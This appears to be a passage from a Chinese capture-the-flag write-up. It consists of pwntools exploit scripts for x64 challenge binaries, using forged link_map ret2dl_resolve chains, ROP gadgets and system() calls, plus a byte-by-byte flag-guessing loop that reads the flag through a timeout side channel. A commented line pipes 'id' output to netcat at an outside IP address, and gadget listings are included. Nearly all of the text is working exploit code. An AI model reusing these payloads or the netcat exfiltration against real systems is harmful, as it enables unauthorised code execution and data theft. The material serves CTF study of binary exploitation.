linkmap+=p64(linkmap_addr)
linkmap+=p64(linkmap_addr+0x38)
linkmap = linkmap.ljust(0xf8,'A')
linkmap+=p64(linkmap_addr+8)
#linkmap+='\nid'#| nc 207.148.103.237 6666'

resolve_call = p64(plt0+6)+p64(linkmap_addr)+p64(0)
return (linkmap,resolve_call)

bug_main = 0x000000000400526
pop_rbp_ret = 0x0000000000400490
leave_ret = 0x0000000000400540
bss_addr = 0x000000000601038 + 0x400
plt_gets = 0x000000000400410
pop_rdi_ret = 0x00000000004005c3

linkmap,call = ret2dl_resolve_linkmap_x64(elf,elf.got['__libc_start_main'],libc.sym['system']-libc.sym['__libc_start_main'],bss_addr)

payload = padding + p64(pop_rdi_ret) + p64(bss_addr) + p64(plt_gets)
#+ p64(pop_rbp_ret) + p64(bss_addr)+ p64(leave_ret) + p64(bug_main)
payload += p64(pop_rdi_ret) + p64(bss_addr+0x48) + call #system
pause()
p.sendline(payload)


p.sendline(linkmap)

p.interactive()



'''
0x0000000000400540 : leave ; ret

Gadgets information
============================================================
0x00000000004005bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005c0 : pop r14 ; pop r15 ; ret
0x00000000004005c2 : pop r15 ; ret
0x00000000004005bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005bf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400490 : pop rbp ; ret
0x00000000004005c3 : pop rdi ; ret
0x00000000004005c1 : pop rsi ; pop r15 ; ret
0x00000000004005bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003e1 : ret

'''

题目三脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#!/usr/bin/env python
# coding=utf-8
# coding=utf-8

from pwn import *
#,log_level='debug'
context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')


'''
local = 1

if local:
p = process("./level7_x64",env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./level7_x64")
libc = ELF('./libc_x64.so.6')
else:
p = remote('xxxxxx',xxx)
#p = remote('xxxxxx',xxx)
elf = ELF("./level7_x64")
libc = ELF('./libc_x64.so.6')
'''
'''
#socat TCP4-LISTEN:10001,fork EXEC:./wrapper.py
p = remote('xxxxxx',xxx)
#p = remote('xxxxxx',xxx)
p.send("A"*0xfff)
print len("\n" + "A"*0xffe)
p.interactive()
'''
pop_rdi=0x00000000004009a3
pop_rsi_r15=0x00000000004009a1
buf = 0x000000000601060
stage = 0x601c20
csu_addr = 0x0000000000400980
pop_rdx = 0x0000000000001b92 # pop rdx ; ret
pop_rsp_3_ret = 0x000000000040099d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
ret_addr = 0x0000000000400681 # ret
def ret2dl_resolve_linkmap_x64(ELF_obj,known_offset_addr,two_offset,linkmap_addr):
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
linkmap=""
linkmap+=p64(two_offset&(2**64-1))
linkmap+=p64(0)+p64(linkmap_addr+0x18)
linkmap+=p64((linkmap_addr+0x30-two_offset)&(2**64-1))+p64(0x7)+p64(0)
linkmap+=p64(0)
linkmap+=p64(0)+p64(known_offset_addr-8)
linkmap+='flag\x00'#for open offset 0x48
linkmap = linkmap.ljust(0x68,'A')
linkmap+=p64(linkmap_addr)
linkmap+=p64(linkmap_addr+0x38)
linkmap = linkmap.ljust(0xf8,'A')
linkmap+=p64(linkmap_addr+8)

resolve_call = p64(plt0+6)+p64(linkmap_addr)+p64(0)
#print "link_map = " + hex(linkmap_addr)
return (linkmap,resolve_call)



def readflagonebyone(num,guess_str):
buf = 0x000000000601060

flag_buf = buf + 0x8*5
#open
linkmap1,call1 = ret2dl_resolve_linkmap_x64(elf,elf.got['__libc_start_main'],libc.sym['open']-libc.sym['__libc_start_main'],stage)
#read
linkmap2,call2 = ret2dl_resolve_linkmap_x64(elf,elf.got['__libc_start_main'],libc.sym['read']-libc.sym['__libc_start_main'],stage+0x100)
#set rdx
linkmap3,call3 = ret2dl_resolve_linkmap_x64(elf,elf.got['__libc_start_main'],pop_rdx-libc.sym['__libc_start_main'],stage+0x200)

print num
pay = 'a'*0x28+p64(pop_rdi)+p64(stage)+p64(elf.plt['gets']) #write linkmap
pay+= p64(pop_rsi_r15) + p64(0) + p64(0) + p64(pop_rdi) + p64(stage+0x48) + call1 #open
pay+= call3+p64(num) #set rdx
pay+= p64(pop_rsi_r15) + p64(flag_buf - num + 1) + p64(0) + p64(pop_rdi) + p64(3) + call2 # read flag
# read again to write in front of flag
pay+= p64(pop_rdi)+p64(buf)+p64(elf.plt['gets'])
# read again to write in behind of flag
pay+= p64(pop_rdi)+p64(buf + 0x8*6)+p64(elf.plt['gets'])
pay+= p64(pop_rsp_3_ret) + p64(buf) + "\x0a" + linkmap1 + linkmap2 + linkmap3 + "\x0a"
#pause()
p.send(pay)

payload3 = p64(0)*3 + p64(0x40099A) + chr(guess_str) +"\x00\x00\x00\x00\x00\x00"
#print guess_str
payload4 = p64(buf + 0x8*7 - (guess_str)*8) + p64(ret_addr) + p64(0)*2 + p64(csu_addr) + p64(0)*7 + p64(0x400730)
payload = payload3 + "\n" + payload4
#pay += payload3 + payload4
#print hex(len(payload4))
#print hex(len(pay))
payload += "A" * (0xfff - len(pay) - len(payload))
#print hex(len(payload))

#pause()
p.sendline(payload)
#p.interactive()

elf = ELF("./level7_x64")
libc = ELF('./libc_x64.so.6')
'''
#p = remote('xxxxxx',xxx)
#p = remote('xxxxxx',xxx)
#p = process("./level7_x64",env={'LD_PRELOAD':'./libc_x64.so.6'})
#p = remote('xxxxxx',xxx)
readflagonebyone(2,ord("s") - 1)

'''
mydict = "BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz~!@#$%^&*()_+`1234567890-=\{\}|[]\:;\'<>?,./"
flag = ''
#mydict = ''
#for i in range(0,256):
# mydict += chr(i)
for j in range(0,50):
for guess in mydict :
print "Now test "+ guess + " byte"
p = process("./level7_x64",env={'LD_PRELOAD':'./libc_x64.so.6'})
#p = remote('xxxxxx',xxx)
#p = remote('xxxxxx',xxx)
#pause()
readflagonebyone(10,ord(guess) - 1)
try:
p.recv(timeout=3)
#p.sendline("A"*0xfff)
print "success......"
print guess
print "flag " + str(j) + " = " + chr(ord(guess))
flag += chr(ord(guess))
print "flag = " + flag
#p.interactive()
break
except Exception as e:
print('exception %s' % e)
p.close()
continue
#print "leak = " + leak

p.interactive()

'''
0x400000 0x401000 r-xp 1000 0

Gadgets information
============================================================
0x000000000040099c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009a0 : pop r14 ; pop r15 ; ret
0x00000000004009a2 : pop r15 ; ret
0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007a0 : pop rbp ; ret
0x00000000004009a3 : pop rdi ; ret
0x00000000004009a1 : pop rsi ; pop r15 ; ret
0x000000000040099d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400681 : ret

'''